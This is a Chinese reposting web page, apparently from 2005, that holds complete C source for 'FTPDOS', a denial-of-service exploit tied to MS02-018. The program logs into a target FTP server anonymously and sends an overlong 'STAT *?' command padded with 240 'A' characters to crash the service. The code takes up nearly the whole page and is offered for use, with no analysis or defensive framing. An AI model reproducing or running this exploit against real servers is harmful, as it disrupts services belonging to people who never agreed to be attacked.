|
 |
推荐文章 |
|
|
|
|
|
|
|
|
|
|
|
////////////////////////////////////////////////////////////
//
// FTPDOS by refdom
//
// Author: Refdom.
// Email: refdom@263.net
// HomePage: www.opengram.com
// Comment: MSO2-018
//
////////////////////////////////////////////////////////////
#include "stdafx.h"
#include
#include
#pragma comment (lib, "ws2_32.lib")
int main(int argc, char* argv[])
{WSADATA WSAData;
SOCKET sock = INVALID_SOCKET;
SOCKADDR_IN addr_in;
int nRetCode;
char szUser[] = "USER anonymous\r\n";
char szPassword[] = "PASS bill@microsoft.com\r\n";
char *pBuffer, *pExploit;
int nBufferSize = 260;
pBuffer = (char*) malloc(nBufferSize);
ZeroMemory(pBuffer, nBufferSize);
pExploit = (char*) malloc(241);
ZeroMemory(pExploit, 241);FillMemory(pExploit, 240, "A");
sprintf(pBuffer, "STAT *?%s\r\n", pExploit);
if (argc < 2)
{printf ("Enter targetip!\n");return 0;}
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
{printf ("WSAStartup error!\n");return 0;}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sock)
{printf ("socket error!\n");goto Exit0;}
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(21);
addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);
nRetCode = connect(sock, (LPSOCKADDR)&addr_in, sizeof(addr_in));
if ( SOCKET_ERROR == nRetCode )
{printf ("connect error!\n");
goto Exit0;}printf ("Dos Starting...\n");
nRetCode = send(sock, szUser, sizeof(szUser), 0);
if (SOCKET_ERROR == nRetCode)
{printf ("send user error!\n");goto Exit0;}Sleep(1000);
nRetCode = send(sock, szPassword, sizeof(szPassword), 0);
if (SOCKET_ERROR == nRetCode)
{printf ("send password error!\n");goto Exit0;}
Sleep(1000); nRetCode = send(sock, pBuffer, nBufferSize, 0);
if (SOCKET_ERROR == nRetCode)
{printf ("send exploit error!\n");goto Exit0;}
Sleep(2000);printf ("Dos End.\n");
Exit0:if (sock != INVALID_SOCKET){closesocket(sock);}
free(pBuffer);free(pExploit);WSACleanup();return 0;} |
|
|
|
|
|
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
|
|
|
|
|
责任编辑: 原点 |
投稿作者: 本站收集 |
|
|
信息来源: 网络 |
录入时间: 2005-5-22 |
|
|
|
| |
|